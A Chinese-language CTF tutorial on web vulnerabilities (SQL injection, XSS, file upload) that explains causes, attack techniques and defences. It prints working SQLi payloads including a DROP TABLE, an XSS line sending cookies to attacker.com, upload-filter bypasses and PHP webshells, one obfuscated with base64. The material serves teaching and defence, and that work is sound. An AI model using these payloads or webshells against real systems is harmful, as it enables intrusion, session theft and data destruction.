Web 安全 CTF:SQLi、XSS 与文件上传
Web 安全 CTF 从入门到实战:SQLi、XSS 与文件上传漏洞完全指南
本教程面向网络安全初学者,聚焦 CTF(Capture The Flag)竞赛中最常见的三大 Web 漏洞类型:SQL 注入(SQLi)、跨站脚本(XSS)与文件上传。你将理解每种漏洞的原理、攻击手法、防御措施,并掌握在 CTF 环境中快速解题的思路。
1. SQL 注入 (SQLi)
1.1 什么是 SQL 注入?
当应用程序将用户输入直接拼接到 SQL 查询语句中,而未做充分过滤或参数化处理时,攻击者可通过构造恶意输入篡改查询逻辑,从而非法读取、篡改甚至删除数据库数据。
典型漏洞代码 (PHP + MySQL):
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
1.2 SQLi 分类
-
联合查询注入 (Union Based) 利用
UNION SELECT将攻击者自定义的查询结果附加到原查询结果中,常用来读取其他表的数据。?id=1 UNION SELECT 1, username, password FROM users -- -
报错注入 (Error Based) 构造特殊输入触发数据库报错,将敏感数据暴露在错误信息中。
?id=1 AND updatexml(1, concat(0x7e, database()), 1) -
布尔盲注 (Boolean Based Blind) 根据页面返回真假状态的差异逐位推断数据。
?id=1 AND ASCII(SUBSTRING((SELECT database()),1,1)) > 100 -
时间盲注 (Time Based Blind) 利用数据库延迟函数(如
SLEEP)判断条件是否成立。?id=1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100, SLEEP(5), 0) -
堆叠注入 (Stacked Queries) 使用分号分隔多条 SQL 语句,同时执行,常被用于执行系统命令(如 SQL Server 的
xp_cmdshell)。?id=1; DROP TABLE users --
1.3 CTF 中的 SQLi 解题思路
- 判断注入点:单引号、双引号、数值型测试,观察报错或异常。
- 判断数据库类型:MySQL 通常用
@@version,SQL Server 用@@VERSION,Oracle 用SELECT banner FROM v$version。 - 确定列数:使用
ORDER BY n或UNION SELECT 1,2,...n逐步测试。 - 获取数据库名:
SELECT schema_name FROM information_schema.schemata(MySQL) - 获取表名:
SELECT table_name FROM information_schema.tables WHERE table_schema='库名' - 获取字段名:
SELECT column_name FROM information_schema.columns WHERE table_name='表名' - 提取数据:构造
UNION SELECT或利用盲注函数逐位读取。 - 遇到过滤:使用大小写混合、双写绕过、注释符替代空格(
/**/)、URL 编码等技巧。
实战提示:遇到 WAF 时,可尝试 http 参数污染(HPP)、分块传输、内联注释(/*!50000SELECT*/)等高级技巧。
1.4 防御 SQL 注入
- 参数化查询 (Prepared Statements):分离代码与数据,是目前最有效的防御手段。
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute(['id' => $id]); - 输入验证与白名单:对参数类型、长度、格式进行严格校验。
- 最小权限原则:数据库账户只授予必要权限,禁用危险函数(如
xp_cmdshell)。 - 关闭详细错误回显:生产环境不向前端暴露数据库报错。
2. 跨站脚本 (XSS)
2.1 XSS 漏洞原理
XSS 攻击指攻击者将恶意脚本注入到正常网页中,当其他用户浏览该页面时,脚本在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向用户或篡改页面内容。
根本原因:Web 应用对用户输入输出时未进行恰当的转义或编码。
2.2 XSS 类型
-
反射型 XSS 恶意脚本通过 URL 参数等方式直接提交,服务端未经处理就响应并显示在页面中,需要诱骗用户点击链接。
http://example.com/search?q=<script>alert(1)</script> -
存储型 XSS 恶意脚本被永久保存到服务器(如留言板、个人资料),每当其他用户访问该页面时脚本自动执行,危害更大。
-
DOM 型 XSS 整个攻击仅发生在客户端,由 JavaScript 动态获取被污染的数据并写入 DOM,不经过服务端。
// 不安全的写法 var hash = location.hash; document.getElementById("content").innerHTML = hash.substring(1);
2.3 XSS 利用与绕过
-
基本载荷 (Payload)
<script>fetch('http://attacker.com/?cookie='+document.cookie)</script> -
绕过常见过滤
- 大小写混淆:
<ScRiPt> - 使用其他标签:
<img src=x onerror=alert(1)> - 利用 HTML 实体编码:
' - 使用
eval和String.fromCharCode动态构造。 - 突破长度限制:
<svg/onload=eval(name)>利用window.name传参。
- 大小写混淆:
-
常见 CTF 场景:劫持管理员 Cookie 获取 flag、构造钓鱼页面窃取密码、利用 XSS 修改页面内容绕过检查。
2.4 XSS 防御措施
- 输出编码:在 HTML 上下文使用 HTML 实体编码;在 JavaScript 上下文使用
\xHH或\uHHHH编码;在 URL 中使用encodeURIComponent()。 - 内容安全策略 (CSP):通过 HTTP 头部限制可执行的脚本来源。
Content-Security-Policy: script-src 'self'; - HttpOnly Cookie:禁止 JavaScript 读取 Cookie,大幅减低 XSS 的危害。
- 输入过滤:白名单允许的标签和属性,例如使用 DOMPurify 清理 HTML。
3. 文件上传漏洞
3.1 漏洞成因
若服务器未对用户上传的文件类型、内容、大小等做严格校验,攻击者可上传恶意脚本(如 WebShell)并进一步控制服务器。
3.2 常见绕过技巧
- 前端绕过:禁用 JavaScript 或直接使用 Burp Suite 拦截修改请求。
- MIME 类型绕过:修改
Content-Type: image/jpeg。 - 文件扩展名绕过
- 大小写:
shell.pHp - 双写:
shell.pphphp - 空格与点:
shell.php.或shell.php .(Windows 特性) - 利用解析差异:
.php;.jpg、.php%00.jpg(Null Byte 截断,已过时) - 上传
.htaccess(Apache) 重写规则使图片文件被解析为 PHP。
- 大小写:
- 内容检测绕过:在图片文件尾部或
exif注释中嵌入 PHP 代码,配合文件包含漏洞执行。echo '<?php system($_GET["cmd"]);?>' >> shell.jpg - 条件竞争:利用服务端先保存后检查的时间窗口,在检查未通过之前快速访问文件触发执行。
3.3 WebShell 基础
最简单的 PHP 一句话木马:
<?php @eval($_POST['pass']); ?>
可通过 POST 请求传入 pass=phpinfo(); 执行任意 PHP 代码。
更隐蔽的变种:
<?php
$a = base64_decode('c3lzdGVt');
$a($_GET['cmd']);
?>
3.4 CTF 实战思路
- 测试上传点,尝试上传正常文件观察返回路径。
- 逐步尝试扩展名绕过、MIME 绕过,检查是否允许
.phtml,.pht,.php3,.inc等可解析扩展名。 - 若存在文件包含漏洞,可直接上传图片马并包含执行。
- 若目标为 Linux,可结合
.user.ini等配置文件实现代码执行。
3.5 防御文件上传漏洞
- 白名单验证扩展名:仅允许安全的扩展名列表(如
jpg,png,pdf)。 - 重命名文件:使用随机字符串加安全扩展名,避免保留原始文件名。
- 内容校验:使用文件头幻数检查(如
FF D8为 JPEG),但需注意可伪造。 - 服务器端存储位置:将上传目录设置在 Web 根目录外,或配置脚本执行权限(如
cd /uploads && chmod -x *)。 - 文件大小限制和频次控制。
4. 总结与建议
- 主动搭建实验环境:使用 Docker 搭建 DVWA、Pikachu 或本地编写漏洞代码测试。
- 熟练使用代理工具:Burp Suite 是 Web 安全必备,拦截、重放、爆破功能必须熟悉。
- 学习绕过技巧:CTF 题目往往带过滤,需积累各类绕过姿势。
- 组合漏洞意识:文件上传常与文件包含、SQLi 与 SSRF 等组合命题,需掌握关联利用。
- 阅读源代码:遇到白盒或审计类题目,先定位输入点,追踪过滤逻辑。
最终,防御的核心是 不信任任何用户输入,对所有输入输出进行适当处理。掌握这些基础漏洞的原理与利用,是 Web 安全 CTF 入门的关键一步。